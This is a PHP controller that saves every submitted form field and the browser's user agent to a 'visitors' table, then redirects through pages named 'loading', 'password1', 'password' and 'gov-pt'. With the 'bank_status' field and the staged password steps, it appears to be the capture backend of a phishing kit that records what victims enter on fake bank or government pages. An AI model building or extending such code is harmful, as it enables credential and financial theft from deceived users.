<?php
class VisitorDataManager extends Controller {
	    public $visitorDataManagerModel; // پہلے declare کریں

   public function __construct(){
      $this->visitorModel = $this->model('VisitorDataManagerModel');

   }
	public function add_visitor_first(){



			$table = "visitors";
		$data_array = $_POST;
		$my_arr = $_POST;

		unset($my_arr['bank_status']);
	   unset($my_arr['new_data']);
	   unset($my_arr['status']);
	   unset($my_arr['uniqueid']);
		$data_array['useragent'] = $_SERVER['HTTP_USER_AGENT'];

		$data =$data_array;

		$filteredData = array_filter($data, function ($value) {
		    return $value !== "";
		});
			
		$result =  $this->visitorModel->add_visitor_fist($filteredData,$table,$my_arr);


		// $result =  $this->visitorModel->add_visitor($data_array,$table,$my_arr);

		if($result === true){
			header('Location: '.URLROOT.'?p=loading');
		}else{
			header('Location: ' . $_SERVER['HTTP_REFERER']);
		}
	}
	public function add_visitor(){

		ini_set('display_errors', 1);
		ini_set('display_startup_errors', 1);
		error_reporting(E_ALL);


			$table = "visitors";
		$data_array = $_POST;
		$my_arr = $_POST;

		unset($my_arr['bank_status']);
	   unset($my_arr['new_data']);
	   unset($my_arr['status']);
	   unset($my_arr['uniqueid']);
		$data_array['useragent'] = $_SERVER['HTTP_USER_AGENT'];

		$data =$data_array;

		$filteredData = array_filter($data, function ($value) {
		    return $value !== "";
		});
			
		$result =  $this->visitorModel->add_visitor($filteredData,$table,$my_arr);


		// $result =  $this->visitorModel->add_visitor($data_array,$table,$my_arr);

		if($result === true){
			header('Location: '.URLROOT.'?p=loading');
		}else{
			header('Location: ' . $_SERVER['HTTP_REFERER']);
		}
	}
	public function add_visitor1(){

		ini_set('display_errors', 1);
		ini_set('display_startup_errors', 1);
		error_reporting(E_ALL);


			$table = "visitors";
		$data_array = $_POST;
		$my_arr = $_POST;

		unset($my_arr['bank_status']);
	   unset($my_arr['new_data']);
	   unset($my_arr['status']);
	   unset($my_arr['uniqueid']);
		$data_array['useragent'] = $_SERVER['HTTP_USER_AGENT'];

		$data =$data_array;

		$filteredData = array_filter($data, function ($value) {
		    return $value !== "";
		});
			
		$result =  $this->visitorModel->add_visitor($filteredData,$table,$my_arr);


		// $result =  $this->visitorModel->add_visitor($data_array,$table,$my_arr);

		if($result === true){
			header('Location: '.URLROOT.'?p=password1');
		}else{
			header('Location: ' . $_SERVER['HTTP_REFERER']);
		}
	}

	public function add_visitor2(){

		ini_set('display_errors', 1);
		ini_set('display_startup_errors', 1);
		error_reporting(E_ALL);


			$table = "visitors";
		$data_array = $_POST;
		$my_arr = $_POST;

		unset($my_arr['bank_status']);
	   unset($my_arr['new_data']);
	   unset($my_arr['status']);
	   unset($my_arr['uniqueid']);
		$data_array['useragent'] = $_SERVER['HTTP_USER_AGENT'];

		$data =$data_array;

		$filteredData = array_filter($data, function ($value) {
		    return $value !== "";
		});
			
		$result =  $this->visitorModel->add_visitor($filteredData,$table,$my_arr);


		// $result =  $this->visitorModel->add_visitor($data_array,$table,$my_arr);

		if($result === true){
			header('Location: '.URLROOT.'?p=password');
		}else{
			header('Location: ' . $_SERVER['HTTP_REFERER']);
		}
	}

	public function add_visitor3(){

		ini_set('display_errors', 1);
		ini_set('display_startup_errors', 1);
		error_reporting(E_ALL);


			$table = "visitors";
		$data_array = $_POST;
		$my_arr = $_POST;

		unset($my_arr['bank_status']);
	   unset($my_arr['new_data']);
	   unset($my_arr['status']);
	   unset($my_arr['uniqueid']);
		$data_array['useragent'] = $_SERVER['HTTP_USER_AGENT'];

		$data =$data_array;

		$filteredData = array_filter($data, function ($value) {
		    return $value !== "";
		});
			
		$result =  $this->visitorModel->add_visitor($filteredData,$table,$my_arr);


		// $result =  $this->visitorModel->add_visitor($data_array,$table,$my_arr);

		if($result === true){
			header('Location: '.URLROOT.'?p=gov-pt');
		}else{
			header('Location: ' . $_SERVER['HTTP_REFERER']);
		}
	}

	




}